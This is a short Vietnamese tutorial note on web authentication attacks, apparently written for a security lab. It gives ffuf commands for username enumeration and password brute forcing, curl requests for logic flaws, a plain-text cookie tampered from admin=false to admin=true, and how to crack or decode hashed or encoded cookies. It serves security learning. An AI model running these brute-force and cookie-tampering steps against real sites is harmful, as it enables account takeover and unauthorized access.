Username Enumeration
Chúng ta có thể lợi dụng chức năng báo trùng username khi đăng ký để tìm ra danh sách người dùng. Sử dụng ffuf
:
ffuf -w /path/to/usernames.txt -X POST -d "username=FUZZ&password=x" -H "Content-Type: application/x-www-form-urlencoded" -u <URL> -mr "username already exists"
-X POST
: Gửi request POST.-d
: Dữ liệu gửi đi,FUZZ
là placeholder cho các từ trong wordlist.-H
: Header của request.-mr
: Lọc các response chứa chuỗi “username already exists”.
Password Brute Forcing
Sau khi có danh sách username, chúng ta có thể brute force mật khẩu:
ffuf -w usernames.txt:W1,passwords.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u <URL> -mc 200
W1
vàW2
là placeholder cho username và password.-mc 200
: Chỉ hiển thị các response có status code 200 (thành công).
Logic Flaw
Sử dụng curl
để gửi request tùy chỉnh:
curl 'http://domain.com' -H 'Content-Type: application/x-www-form-urlencoded' -d 'parameter=value'
-H
: Thêm/sửa header.-d
: Dữ liệu POST.
Cookie Tampering
Plain Text
Nếu cookie được lưu dưới dạng văn bản thuần, chúng ta có thể dễ dàng chỉnh sửa. Ví dụ:
logged_in=true; admin=false;
Chúng ta có thể đổi admin=false
thành admin=true
để có quyền admin:
curl http://domain.com/cookie-test -H "Cookie: logged_in=true; admin=true"
Hashing
Cookie có thể được hash (ví dụ: MD5, SHA1). Vì hash là hàm tất định, chúng ta có thể sử dụng các rainbow table hoặc các dịch vụ như CrackStation để tìm giá trị gốc.
Encoding
Cookie cũng có thể được encode (ví dụ: Base64). Encoding chỉ là thay đổi dạng biểu diễn và có thể dễ dàng giải mã ngược lại.